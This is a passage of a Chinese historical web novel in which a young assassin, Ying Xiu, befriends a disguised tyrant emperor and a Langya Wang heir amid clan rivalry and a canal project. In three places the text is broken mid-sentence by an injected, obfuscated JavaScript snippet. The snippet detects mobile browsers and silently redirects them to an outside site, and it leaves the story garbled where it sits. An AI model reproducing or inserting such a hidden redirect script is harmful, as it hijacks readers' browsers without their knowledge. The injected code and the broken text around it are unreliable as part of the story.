若是有蝇营狗苟之辈,他的刺杀名单又可以添上几笔。 江州沅水名曰小秦淮,意在效仿健康京师秦淮河,每至入夜,河道上明明赫赫,鼓瑟歌吹不绝于耳。 楼台亭阁临水而立,赢秀跟着薛镐以及一群儒生走进楼中,来到一处小阁中,这里摆放着一件件褒衣博带和覆面。 “换衣服吧,”薛镐低声对赢秀说。 赢秀没有动,用质询的眼神看他。 薛镐苦笑了一下,“不然你以为我们是怎么进来的,给人跳舞助兴而已,没事的。要不是相里氏的人没了,贵人们送故迎新在此清谈雅集,还轮不到咱们。”他故作轻松道:“说不定哪位士族赏识你,做了荫户自此一步登天呢。” “我不会跳舞。”赢秀道。 “这里的人有哪个是会跳舞的?”薛镐压低声音,“待会一上场,你瞅准一个贵人,扑上去把你的诗赋给他看,运气好能得到举荐,运气不好大不了被轰出去。” “……”赢秀有点迟疑,不知该不该说,“我也不会作诗写赋。” 他只是一个乔装打扮的刺客,除了杀人什么也不会。 而且直觉告诉他,其中似乎有些蹊跷,刚想开口问薛镐这主意到底是谁想出来的,却被薛镐打断。 “你不会?”薛镐狐疑地上下打量他两眼,一把把衣服塞到他怀里,“那你整天窝在房间里做什么?别告诉我你每天睡十二个时辰。” 左手搭着褒衣博带,右手拿着画满花纹的艳丽覆面,赢秀有点后悔了。 不是,他真的只是一个刺客而已。 来都来了,说不定还能杀几个人再走。 秉持着这样的想法,赢秀认命般换上褒衣博带,带上覆面,打扮齐整一抬头就看见了薛镐正新奇地打量他:“你别说,还挺好看。” 少年的气质很特殊,清隽秀气中糅杂着杀气,带上覆面后那双眸瞳变得有些莫测,更显神秘。 一群儒生换上装束,登上楼台。 这里的气氛与他们想象的完全不同,没有鼓瑟歌吹,没有觥筹交错,贵人们静坐着,身体僵直,像是在恐惧什么。 箭在弦上,不得不发。 儒生们硬着头皮开始转圈,赢秀混在其中,一壁转圈,一壁观察雅集上的形式。 二楼高台上垂着巨大的绛色纱幰,两侧驺兵次列,杀气磅礴。 琉璃灯映照出粼粼烛光,笼在绛色上,显现出珠辉玉丽的红,浓郁得仿佛正在流淌变幻。 漆红纱幰后,年迈的江洲牧战战兢兢地跪在地上,不敢抬头看座上的贵人。 天杀的,昭肃帝怎么来了! 只怕江州城里的臣僚都不够他杀的。 “外面何人起舞?”沉默的昭肃帝终于说出了第一句话。 江洲牧两鬓滴汗,却不敢伸手去抹,听到昭肃帝说话如蒙大赦,忙不迭道:“是一群还未出仕的儒生。” 外面丝竹还未停歇,台上的儒生骤然一拥而散,奔向茵席上的缙绅世吏。 数道嘈杂的声音里有一道尤为清晰:“……曾是莫听,大命以倾。” 这句诗说的是君主昏庸不听谏言,朝廷因此倾覆。 此话一出,丝竹骤停,一片死寂。 烛光幢幢,满殿惶惶,席间名士面面相觑,四目相对皆是惊惶。 谁不知道当今陛下暴戾残忍,有斥候数万,蛰伏民间,意图杀尽讥谤者。 虽然这是江州,天高皇帝远。 但是谁那么大胆子,敢在宴席上明目张胆地说昭肃帝的坏话? 说话的是一个带覆面的陌生儒生,伏在地上,一口地道的南腔:“当今圣上横行暴政,恣睢暴虐,十二岁提剑杀方士,清宦官,诛臣僚,血流成河……”他说得掷地有声:“殷鉴不远,在夏后之世!” 江州牧大着胆子颤巍巍地抬眸,视线往上,骤然撞上昭肃帝似笑非笑的眸子,他心脏骤缩,猛的低下头。 楼台中寂阒沉郁,薛镐拉着赢秀的手,后者被他拉着跪在地上,跟着他一起低头装鹌鹑。 “还不快拖出去,押往廷尉狱!” 纱幰后传出江州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845716|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧的厉喝。 “等等,”绛帐后面紧接着传来一道带笑的青年声音,慢条斯理:“拖下去,杀了。” 满座皆惊。 说一不二的江州牧都已经发话,竟然还有人敢当面置喙,要置这儒生于死地。 说话的究竟是何人? 惟有大气都不敢喘一声的江州牧知道,发话的是昭肃帝身边的中领军,商危君。 那儒生浑身颤动,梗着脖子,眼睛望着那道浓郁肃穆的漆红,岿然不动。 “你认识他吗?”赢秀低声问薛镐,薛镐小心侧过头,快速地看了一眼那儒生,用气音道:“奇怪,他好像不是我们的人,我从来没见过他。” 官场之中,审时度势最为重要,那儒生明知在场的皆是士族勋贵,还敢讥谤天下最大的士族——皇帝。 太蠢了,死不足惜。 赢秀当刺客这些年,见过很多死法,却是头一回见到有人因为说了几句话而死,死得草率又轻易,生死只在高台上的人一句话之间,仿佛只是一只蝼蚁被车辁碾死。 比一剑穿喉还要轻易。 “且慢,”带着覆面的儒生直起身,声音不大,却字字清晰,“皇帝乃是仁圣之君,岂会因为一两句针砭杀人?你们打着陛下的旗号草菅人命,才是真正地毁谤陛下名声。” 一语既出,四面俱寂。 ……皇帝乃是仁圣之君? 你要不听听你在说什么? 薛镐又惊又怕,头都不敢抬,伸手摸住赢秀的袍裾,试图将他笔直的身躯拽下来,发现拽不动后默默往旁边挪了挪。 不要命了?!你不想活我还想活呢! 江州牧捂住心脏,险些连呼吸都忘了。 到底是谁请来的神通,一个两个,诚心要吓死他不成? 商危君小心翼翼地看向昭肃帝,发现一直漫不经心的昭肃帝睁开了眼,朝外望去,似乎在寻找那个说话的刺客。 皇帝很少对什么东西感兴趣,倘若他对什么东西起了兴趣,那东西很快就会在他手中毁灭,又称为永恒。 只有毁灭,才不会背叛。 不知道这个赢秀,又能撑多久。 半响后,二楼上那道温润带笑的男声再度响起:“放了他。” 薛镐松了口气,又悄悄挪了回来,赢秀察觉到他的动作,什么也没说。 江州牧终于忍不住抹了把汗,陛下真的会因为一句“仁圣之君”就饶了那两个儒生么? 昭肃帝怎么变得这么好说话了? 短暂的插曲过后,一群儒生被请入席间,赢秀被安排在正中的席位。 一群或老或少的儒生用崇拜的眼神看着他,争着朝他敬酒,惟有那个讥谤皇帝的儒生宛如泥俑静坐不动,毫无感激之意。 赢秀也没在意,解了覆面,一面和儒生敬酒,目光一面在客席中梭巡。 沅水雅集,不知道建章谢氏的门客在不在这里,建章谢氏门第高峻,乃是世族羽仪,只怕不会来这种寻常的雅集。 直到目光望向二楼,赢秀骤然一顿,那日指引他去寻找谢舟的僮客立在阑干后,正朝他点头示意。 谢舟在二楼,让他上去。 一转念,赢秀又想起那道温润带笑的声音,倨傲冷漠,执掌生杀。 谢舟怎么会和这种人在一起,还是说,那人其实是谢舟的主公? 谢舟的主公,行事着实残暴。 5. 第 5 章 见赢秀要走,薛镐猛的叫住他:“你去哪?”他无不担忧道:“二楼不是我们能上的,你刚才就得罪了二楼的人,还敢上去?” 话音甫落,他看见一个二楼的僮仆走到赢秀面前,态度很是恭敬,似乎还把赢秀奉作上宾。 他眼睁睁看着赢秀跟着那僮仆走了,一副迫不及待的样子,那高兴的模样就好像要去和情郎相会。 薛镐:“……” 赢秀沿着楼梯上了二楼,此地肃穆庄严,走廊两侧次第列着披甲驺兵,长剑宛如雪花锻铁。 赢秀不由多看了两眼,心想还是自己的问心剑最好。 漆红纱幰后面,主位空荡荡的,谢舟坐在下首,像是临时搬来的杌子,看着莫名有点可怜。 “谢舟!”赢秀连忙上前,叫完这一声后,他突然不知道该说什么,只知道望着那张冰冷俊美的脸发愣,过了半响才道:“你……他没为难你吧?” 他口中的“他”指的是谢舟的主公。 谢舟视线由上往下,扫过赢秀身上的褒衣博带,少年穿着雪白宽袍,阔带咬着细腰,鬓边别着青绛的覆面,鬒黑如墨,白似釉漆。 剑光藏椟,外秀内锋。 一剑杀了江州坞主,剑术臻于至境,轻功出神入化,还是一个秀气纯澈的少年。 赢秀主动凑上来,与他大眼瞪小眼,少年似乎喝了点酒,两颊泛红,晕乎乎的,脚下踩着自己的袍裾,叫着他的化名:“蟹粥,蟹粥,要是有人敢欺负你,我帮你解决他!” 喝醉酒的少年刺客语气认真,口中说着要保护他,不让他被欺负。 谢舟不明白赢秀为何总是可怜自己,第一次见到他就出神,眼睛睁大,傻乎乎的,连剑都掉了,再后来仿佛把自己当成柔弱无助的稚鸟,需要小心翼翼地呵护。 ……为什么? 谢舟不明白,谢舟没有拒绝。 贵为中领军的商危君立在门外,余光隐约看见里面的情形,已经踩住自己宽大袍裾的少年想要往前走,下一步就栽倒在昭肃帝的怀里。 噫!奇观也! 他迅速闭上眼睛,只当自己还在做梦。 赢秀醉得迷迷糊糊,嘴里喊着蟹粥,嘟囔着蟹粥你真好看,下一瞬被人拍醒,睁开眼看见薛镐放大的脸:“这么想吃蟹粥?在人家马车上一直念叨!” 看清是薛镐,赢秀骤然清醒,直起身摸了摸乱蓬蓬的头发,“现在是什么时辰?” “巳时二刻,”薛镐没好气地道,他忽而满眼好奇地盯着赢秀:“你昨晚去哪了?上二楼一直不下来,送你回来的是谁?是哪家高门士族的僮客?” 一连串的问题扑头盖面而来,赢秀摸了摸自己脸上的易容,没有动过的痕迹,终于松了一口气,昨夜他迷迷糊糊抱着谢舟睡着了,睡着之后什么也不记得了。 现在看来应当是谢舟派人把他送了回来。 “我要睡了,你走吧。” 赶走满心好奇的薛镐后,赢秀独自待在酒肆的卧房内,懊恼地抓了抓头发。 怎么就在谢舟面前睡着了呢?自己的睡相是不是很差,万一被谢舟看见了……话说自己晚上睡觉会不会打鼾,不会在谢舟怀里打鼾了吧? 想到这里,赢秀想死的心都有了,举起问心剑恨不得给自己来一剑。 巳时,阳光正好。 小秦淮上飘着一具浮尸,苍白的褒衣博带飘在水中,像一朵巨大的白花。 钓叟大着胆子用竹篙将其翻了过来,露出一张带着青绛覆面的脸,空洞洞的口中,舌头不翼而飞。 昨夜在沅水雅集上讥谤君主的儒生,死了。 死前被挖去舌头,抛尸河中。 整座江州如同蒙上了一层阴霾,这次死的儒生是吴姓南士,前不久死的是江州坞主亦是南士冠冕。 有人说,侨姓士族看不惯吴姓士庶,故而下此毒手。 而侨姓最大的士族是当今皇帝,远在健康京师的昭肃帝。 酒肆里议论纷纷,南士不敢直言昭肃帝的名号,转而以伧首代指。 南渡的侨姓是伧人,出身侨姓的皇帝自然是伧首。 沽了一壶清水,赢秀坐在酒肆角落,托着腮,听着不远处群情激奋的儒生议论不休。 翻来覆去,说的都是昭肃帝是残暴不仁的暴君,十二岁践祚,同年杀宦官,杀臣僚,杀方士。 少年御驾出征屠杀羌人,手段残暴令饮血茹毛的羌族都闻风丧胆。 杀杀杀,在他们口中,昭肃帝仿佛是一个嗜杀的怪物,不通人情,以杀治国。 听得百无聊赖,赢秀随口说了一句:“他杀过百姓吗?” 此话一出,满坐寂然。 “那个儒生不就是——” 南士下意识脱口而出,紧急将未竟之言咽了回去。 无凭无据,谁能证明是那个不知名的儒生是昭肃帝杀的? 以昭肃帝褊急,残暴的性子,倘若这句话被他听到,只怕在座之人都得送命。 没人再说话,方才还义愤填膺的南士庶民仿佛骤然被泼了一盆冷水,悻悻散去。 坐在藤椅上打盹的上峰睁开眼:“你何必与他们争执?” 赢秀笑了下,“我只是随口一问,谁知道他们答不上来。” 儒生之死非同小可,吴姓中的读书人深感自危。 一时间,儒生死前在沅水雅集上说的那句“殷鉴不远,在夏后之世。”迅速传遍江州。 昭肃帝没有任何动作,江州府衙也没有派人遏制流言,一直放任这句话流传了三日。 直到三日后,延尉在城门宣榜布告凶手的亲笔罪状,又判凶手在江州游街,翌日于菜市枭首示众。 三日里抓到真凶,理清脉络,动作之快,刑名之残暴,令人发指。 杀害儒生的凶手是个撑船的艄公,夜里替醉酒的儒生撑船渡河,为财杀人,割了舌头,将儒生推到河里。 此案由江州牧主理,而江州牧出自吴姓,这番说辞勉强堵住了吴姓南士的悠悠众口。 吴姓安静了一会儿,又说江州坞主死得实在蹊跷,若不将刺客缉拿归案,只怕他们哪日也莫名其妙地死了。 斥候又开始满城搜捕刺杀江州坞主的刺客。 殊不知刺客已经换了一张脸,正在渡口等人。 长公子的船只今日便到,提前派了鸱鸮传信告知赢秀。 船只缓缓靠岸,远远看见一行人簇拥着一道身影从栈道上走出来,正中那道身影箸紫袍,革履高冠,是士族羽仪,名德之胄,赢秀朝他挥手:“鉴心!我在这里!” 簇拥在王氏长公子身边的清客胥吏眉头微轩,长公子的名号也是区区一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845717|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个僮客能唤的? 摈退身边的清客,王守真快步走到赢秀身边,放慢脚步与他并肩而行,伸手虚虚比划了一下赢秀的身高,笑道:“倒是比去年长高了不少。” 想当年他遇见赢秀时,对方还是个伶仃纤细的小少年,头戴草革,短褐裹身,穿着短袴,一张脸灰扑扑的,活脱脱一个小野人。 然而就是这个小野人,一人一剑,在广陵道上救了他一命。 王守真很是感慨,对赢秀嘘寒问暖,又掏出一叠厚厚的银票塞到他口袋里,赢秀没有抗拒,十分自然地收了。 鉴心总是这样,像是生怕他出门在外会饿死一般,恨不得给他袖里塞一个银号。若是他不收,只怕鉴心真的会跟他急眼。 二人相识四年,认识的时间不算长,却是刎颈之交,对彼此从未有过隐瞒,一路上王守真将此行目的徐徐道来。 江州坞主相里玦死了,相里氏倒台,没了地方豪强阻碍,朝廷着手修葺运河,始于广陵,经过健康京师,由东向西连通徐州扬州江州荆州四州,贯通长江。 由江州牧总其务,京师门下省散骑王誉赴任江州别驾,提调协理此事。 王誉是琅琊王氏的家臣,明面是由他督办此事,实际上能做决策的是王守真。 赢秀少年时待在山里,没有读过书,听完鉴心这番话,只知道江州要修运河,从东到西,要修得又大又长,让江州牧来修,再从健康派一个王家的家臣帮着修。 王守真听完他总结的话,顿时哑然失笑,仔细一想,却发觉他说的也没什么错。 王守真道:“之前让你多多读书,现在看来,应当没有把我的话当耳旁风。” 赢秀道:“闷在房间里怪无聊的,我偷偷把那些儒生的书都偷看了。” 说来奇怪,也不知道鉴心为什么老叫他一个刺客多读书。 他学着那群儒生穷经皓首的模样,仔细研究了半天,遗憾地发现书里并不教授杀人之术。 “此行若是要杀谁,只管告诉我,”赢秀想了想,语气郑重:“我只杀恶人。” 士族高门豢养僮客家臣,最看重的是忠心二字,比起胸有城府的聪明人,他们更需要忠贞不二的狗。 合格的家臣要赤胆忠心,以主子的心意为先,宁抛头颅洒热血,绝不让主子皱一下眉头。 即使主子要杀了他们,他们也会干脆利落地自刎赴死,更何况只是要他们替主子铲除异己,绝没有拒绝的理由。 但赢秀是个例外,比起让他为自己忠心耿耿,肝脑涂地,王守真更在乎他的感受。 家臣取之不尽,朋友却很难得。 “做刺客到底不安全,等运河修葺好,我带你回广陵。” 王守真没有将剩下的话说出来,督工运河,功在千秋,届时他名声赫赫,掌枢四洲漕运,成为琅琊王氏说一不二的主公。扶危便不必再冒险做刺客了,留在他身边,做个将军,与他一同流芳百世。 赢秀在广陵待过两年,时间不长,却过得很好,早已将广陵视作自己第二个家,只是…… “我在江州认识了一个人,他长得很好看。”提起那人,赢秀清澈见底的眸瞳微微亮起来。 “……哦?” 闻言,王守真脸上的笑意淡了些,语气和缓温润。 “他是哪里人?” 6. 第 6 章 “谢舟,健康人士。”赢秀道。 听到这个姓,王守真面露肃色,这个姓氏很难不让人想到素退为业、处贵遗权的建章谢氏,何况又是京师人。 看来应当是建章谢氏的门客。 门客而已。 王守真的神色略微放松了些,看赢秀的眼睛亮晶晶的,一提起那个谢氏门客就笑,像个小孩,不由一哂:“既然你喜欢,我设法把他要来给你。” 赢秀一愣,摇了摇头,“不要,”他语气认真:“”如果他说不想再做门客了,那我再带他走。” 看来是不让他插手的意思,建章谢氏虽然不好招惹,到底只是一个门客而已,他拿点东西去换来,也不是什么难事。 赢秀拒绝后,王守真没再提这个话题,笑着问道:“那他好看还是我好看?”他很是感慨:“当年你见了我也说我好看,还没过几年呢,一转眼就变了。” 赢秀莫名有点心虚,抬睫看了王守真一眼,很快垂下眼睫。 他不知该不该说实话,实话就是谢舟要好看得多,谢舟的好看是锋利的,像剑上三寸寒光,能要人性命的美。 同时又内敛,平和,远看是湛然月光,近看是剑光。 见他这样,王守真没再问下去,只是付之一笑。 还有些话他没有和赢秀说,江洲此行必定波澜诡谲,危机重重。 江州牧是吴姓南士,琅琊王氏是当年随元熙帝南渡的中原士族,两姓素来势不两立,昭肃帝派琅琊王氏的家臣赴任江州别驾,显然是存了制衡两姓的心思。 建章谢氏与他们同为侨姓,且暗地里派了门客赴江州寻阳,兴许可以争取与谢氏合作,等到运河建成,再争漕运之权。 王守真内心千回百转,决定要找机会见一见那位建章谢氏的门客。 恰好今夜是江州别驾的接风宴,在江州牧的私邸举办。 王守真作为上宾出席,王誉则以初来乍到,有心见识江州学子风采为由,让江州牧邀请了全城的学子文人赴宴。 绕了这么大一个弯子,请了整个寻阳的学子,只是为了赢秀用现在这个身份赴宴。 江州牧的私邸修得中规中矩,既不僭越官制,也不显逼仄穷酸。 尽管如此,却已经足够叫一众清贫学子仰头惊叹。 今夜是流水席面,茶盏飘荡在清水上,周遭响起器皿在水中碰撞的细声,清雅脱俗。 赢秀坐在一群陌生的儒生中,开始左右张望,试图在宾客中寻找谢舟的身影。 那日得知鉴心有意约见谢舟,他当即托人给谢舟递了信,说来也奇怪,负责送信的书童回来时面色苍白,像是受了极大的惊吓。 问他发生了什么,书童只是摇头,说里面的人都很友好,他只是被守卫吓到了。 谢府的守卫吗? 他上次去都没看到。 赢秀决定以后还是自己亲自去,若是真的碰上守卫,说不定还可以打一架精进武艺。 等了半个刻钟,宾客次第入席,席间渐渐满了,还没看到那道熟悉的白色身影。 赢秀有点黯然,看来谢舟不会来了。 他本想着促进王谢两家合作,谢舟作为牵头的门客,兴许能够得到主公重用,以后在谢氏的日子也好过些。 但是谢舟没来…… 赢秀无心继续在这里坐下去,索性起身去外面走走。 江州牧的私邸中水廊环绕,阑干外波光潋滟,灯光映照湖光,光浮影动,清幽至极。 赢秀低着头往外走,险些与迎面走来的一行人撞上。 “抱歉——”赢秀下意识说了抱歉,抬头看清面前的人,顿时脱口而出:“谢舟?” 不同以往,谢舟身边站着许多人,裘袍重叠,珍饰盈列,个个皆是雅重清望、不怒自威的人物。 那些人掀眸轻轻看了他一眼,停下脚步,眸底似乎有什么情绪一掠而过,随后默契地往后退去。 这些人气质殊绝,一看就不是好惹的,谢舟怎么会站在他们中间? “赢秀,”谢舟冷不丁地出声唤他的名字,赢秀如梦初醒,下意识“啊”了一声,快步小跑到谢舟面前,有时候就连他也不明白,为何自己会本能地听从谢舟。 不仅是因为那张脸,更是因为心底有个声音隐隐告诉他,必须听谢舟的,不然会发生很恐怖的事情。 这是一个刺客面对危险时敏锐的直觉。 “你想让我和王氏合作么?”谢舟没有解释自己为什么来迟,赢秀也忘了问,看着这张脸,他什么难过郁闷都忘了。 他也没有留意到谢舟这话的不妥之处,琅琊王氏百年门庭,铁打的世勋贵族,一个寻常门客提到王氏不该是这种淡漠平静甚至有点轻蔑的语气。 “想呀!”赢秀不假思索,认认真真道:“如果你促成这件事,在谢家的日子就会好过许多了。” 水廊四面皆空,有风自湖面吹来,吹动角檐下的纱灯,灯摇影曳,朦胧地照彻少年明亮的眸瞳。 回廊转角,一行人静立不动,垂着眼帘,没敢去看前面的动静。 眼睛是看不见了,却挡不住声音,前头时不时有说话声传来,少年的声音清澈明亮,像只欢快的小鸟。 他在和昭肃帝对话,说什么和王家合作后昭肃帝的日子就会好过了。 在昭肃帝眼皮子底下活得战战兢兢的一众亲信的:“……?” 你在说什么? 谁敢让皇帝日子不好过,更何况这个皇帝还是昭肃帝,出了名的暴君,残忍嗜杀。 赢秀对此一无所知,他正在做一件很重要的事——少年试探着牵上谢舟的袍裾一角,冷不丁察觉到对方的视线望过来,如同被烫到一般,骤然放开了袖子,心虚地低着头。 少年有些局促地低着头,领襟后露出纤细优美的脖颈,如脂膏般细腻,肌肤上隐约可见一些细微的伤疤。 谢舟没有说话,他不知道赢秀为什么要牵他的袖子,但并不妨碍他随意地将自己的袖子塞进赢秀手里。 手里冷不丁地多了点柔软冰冷的布料,赢秀下意识抓住,笼在手里,错愕地抬眸,目光措不及防撞进对方眼中。 猛的一对视,少年刺客不知怎的,耳尖蹭的泛起一点红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845718|175767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迅速别过头去,放下手中的雪白袍裾,噔噔噔地往前走去。 少年落荒而逃,一头扎进黑暗里跑了好几步,又转过头,冲他喊道: “谢舟,我在沧浪亭那边等你!” 说完这句话,他又跑了,甚至用起了轻功。 一切重归寂阒。 袍裾没人仔细笼在手心里,再度垂落下来,像一片冰凉的雪。 谢舟独自立在原地,变回了昭肃帝,俊美萧肃的面容冰冷淡漠,看不出是有情还是无情。 经过一小段突如其来的插曲后,静候在原地的臣僚再次动了,未发一言,无声地簇拥着年轻的帝王继续往前走去。 人来人去,惟有水廊下江波不动。 风吹起沧浪亭五角的琉璃灯,烛火飘忽摇曳。 赢秀站在王守真身后,突然想起一件事,他明面上的身份是个落魄儒生,一介儒生怎会认识王氏长公子,甚至能做主牵线让长公子出来会晤。 这可有点解释不通。 赢秀想了半天,还是决定破罐子破摔,左右谢舟也不一定会注意到这个破绽,倘若他问起来,随口应付过去就是了。 王守真刚到不久,但对方区区一介门客,位卑言轻,竟然比他来得还晚,这让他有一丝不悦。 看着赢秀的面子上,王守真什么也没说。 远处一道颀长高大的身影提灯而至,他从朦胧昏黄的水廊中走出,所到之处,烛光粲然冰冷,雪白袍裾在灯下寒气森森。 煞气。 王守真看到他的第一眼,脑海里骤然浮现出这个词。 看似内敛温润,实则满手血腥。 赢秀这么单纯,怎么会和这种人混在一起?! 全然不知他心中所想,赢秀已经伸手朝谢舟招手,坐在王守真身边,他不好大声说话,只能打手势告诉谢舟:“谢舟,谢舟,我在这儿!” 谢舟远远看了他一眼,旋即提灯走进沧浪亭,十分自然地在赢秀身边落座。 这下赢秀的左边坐着王守真,右边坐着谢舟,两面夹击,气氛坠至冰点,赢秀浑然不知,对谢舟道:“这是王家公子王守真,”转头对王守真道:“这是谢舟。” 这是谢舟。 听到短短的介绍,谢舟乌秀纤长的眼睫微眨,眸底倒映着赢秀漆黑柔软的发旋。 按理说赢秀介绍过后,身份较低的谢舟应当主动向王守真寒暄几句,然而他什么也没说,只是坐在赢秀身边,仅此而已,就像是来走个过场的。 王守真的眉心跳了跳,作为琅琊王氏的长公子,他很少需要对人笑脸相迎,大多是别人主动捧着他,顺着他,即使是出自建章谢氏的同辈,在他面前不说礼敬三分,起码也会主动开口,不让气氛冷场。 区区一个门客,竟然也敢如此怠慢。 或许…… 他不止是建章谢氏的门客呢? 这个念头骤然浮现,惊得王守真出了一身的冷汗,谢舟,健康人士,倘若他说的是真的,建章京师,那可是天子脚下,多少天潢贵胄。 难不成他是乔装打扮的王公贵族? 7. 第 7 章 寂阒。 短暂的寂阒过后。 王守真不动声色地举起耳杯,试探着开口:“阁下是谢氏哪一房的门客?” 谢舟语气平静:“谢珪。” “咳,”王守真骤然被茶水呛到,赢秀连忙拍了拍他的背,关切道:“没事吧?” 王守真缓了缓,低声道:“无碍。” 谢珪,何许人也。 当朝宰辅,皇帝国舅,有国之匡辅之名,居衮职,在会稽恃兵咨擅,出将入相,位极人臣。 简单来说,就是与他父亲王道隗同辈的人,地位甚至还远远胜过王道隗。 既是谢珪的门客,倨傲些也是理所当然,若是平易近人,反倒有鬼。 赢秀听过谢珪这个名字,谢珪当年率领中原士庶与元熙帝南渡江左,举族匡扶南朝皇庭,威名赫赫。 谢舟竟然是谢珪的门客? 他还想着等鉴心当了琅琊王氏的主公,自己当了将军,说不定能将谢舟请来王家,到时候离开江州回广陵时能把谢舟一起捎走。 现在看来,只怕没有他想得那么容易。 赢秀眉眼间露出几分愁意,像一只没精打采的小狗。 谢舟注意到了,问他:“你不高兴?” “对呀,不能把你一起捎走——”赢秀意识到自己说什么的时候已经晚了,谢舟看他的目光骤然变得幽深莫测,看不出是高兴还是不高兴。 幸亏谢舟没问出那句——“你为什么想把我一起捎走?” 赢秀不敢说话,心虚地低头当鹌鹑,竖着耳朵听着他们说话。 谢舟既然是谢珪的门客,这意味他在僮客中属于比较厉害的那种,不过到底也是僮客,又不是主公。说不定到时候谢舟不想干了,又或者主公愿意放他走…… 还是有希望的! 赢秀一个人不知想了什么,又高兴起来。 像只小狗。 将这一切收之眼底的谢舟如此想道。 将大概的事宜谈妥后,约定好运河竣工后,漕运货殖由王谢两姓五五分成,正事便谈完了。 王守真本想叫上赢秀一起走,却看见赢秀已经主动牵上谢舟的袖子,眼睛一眨不眨地望着对方,显然是要和谢舟一同回去。 王守真:“……” 怎么有种自家养的白菜迫不及待去拱……他抬眸看了一眼谢舟,将心里没说完的话咽了回去。 平心而论,谢舟这幅样貌确实世无其二,锋利殊绝,冰冷俊美,只怕是寻遍整个京师秦淮河,也找不出第二个这样的美人。 只是,他怎么觉得,这个谢舟好像只是把赢秀当做一个小玩意,觉得有趣,闲来逗一逗,并不放在心上。 王守真指节轻叩案几,低声吩咐心腹道:“去查。” 查什么自不必多说,尽管方才洽谈时谢舟说话温和有礼,井井有条,挑不出一丝破绽,何况建章谢氏权势滔天,谅其也不敢冒名顶替建章谢氏的门客。 但是他就是不放心,面对谢舟时,对方那股隐隐的压迫感几乎压得他喘不上气,难以呼吸。 夜里秋风萧瑟。 赢秀牵着谢舟的袍裾沿着水廊往回走,两人都不说话。 赢秀还在想如何把谢舟捎回广陵的事,想着想着偷偷摸摸地抬起眼,朦胧月光下看见谢舟的脸,看见他身后无边的风月,少年刺客的心怦怦直跳,有些怀疑自己喝醉了酒。 ……分明在宴席上没有喝酒,为什么会醉呢? 脸好烫,心跳得厉害,在对方发现之前,赢秀慌忙低下了头,没话找话:“是谢珪让你来江州放鹿的吗?” 一个如此漂亮的门客,谢珪怎么舍得让他去放鹿? 要是他是谢珪,他就让谢舟当他的小尾巴,整日跟着他走,心情不好了就看一眼谢舟,和他说几句话。 谢舟道:“嗯。” 他没说是或不是,仅仅是嗯了一声。 赢秀觉得他有点敷衍,有心说他两句,一抬头又看见谢舟的脸,瞬间没话说了,亮晶晶的眸瞳睁得很大,好像想把谢舟一整个吃掉。 “那我帮你一起喂鹿,”赢秀把话说出口,连忙又补上一句:“好不好?” 谢舟这次答得很快,“好。” 他的视线骤然顿住,凝在赢秀脸上,看着少年脸上的笑,冰冷淡漠的目光渐渐幽深。 赢秀,赢秀…… 谢舟无声地咀嚼这个名字,原来笑也能杀人。 一个刺客的笑,能让他留在这里做谢舟,心甘情愿地做一个普通门客,陪他玩过家家的游戏。 赢秀不知道谢舟在想什么,他还在认真地规划着未来,等到江州事毕,要和鉴心一起回扬州广陵,再设法劝动谢舟一起走。 前半段是他早就规划好的,后半段的计划里多了一个谢舟。 沿着水廊走了一会儿,赢秀与谢舟回到席位上。 环顾四面,眼看谢舟在中堂似乎没有席位,赢秀便拉着谢舟在身旁的空位坐下了。 刚坐下没多久,赢秀便听见席间有南士大声抱怨:“江州的伧人还不够多么?又来了个江州别驾和那什么长公子,这些人自恃中原冠带,不过都是丧师失地之徒罢了!” 吴姓士庶素来瞧不惯中原侨姓,平日也就私底下说说,前不久经历了吴姓的坞主和儒生双双横死之事,导致吴姓的世吏和文人对侨姓更加厌恶。 恰好今日举办宴席的是出身江南吴姓的江州牧,席间本就心有怨言的南人抱怨起来便更加肆无忌惮。 已经回到客席的王守真没有回应,安静地饮茶。 本应在左席的江州牧不知去了何处,至于位于右席的江州别驾王誉,举着耳杯,不动声色地观察着王守真的面色。 一时间竟无人阻止,也无人附和那名南士,席间各人自若地斟酒谈笑,竟是直接无视了南士的话。 “倘若那群中原人真的那么有本事,当初也不会在羌人手里一败涂地,落得个丢弃长安京师,王师连夜南撤江左的下场!长江滔滔江水,渡不尽中原衣冠!” 南士一口饮尽杯中酒,高声骂道,竟是越说越响亮,直到席间渐渐鸦默雀静,无数双眼睛盯着他看。 那是南朝不愿提起的耻辱,如同一盏苦酒,从这个醉酒的南士口中尽数倾斜而出。 满坐死寂。 一声杯盏放下的轻响。 王守真面色微沉,慢慢扫了那南士一眼。 今夜之事传出去,会让琅琊王氏的长公子颜面扫地。 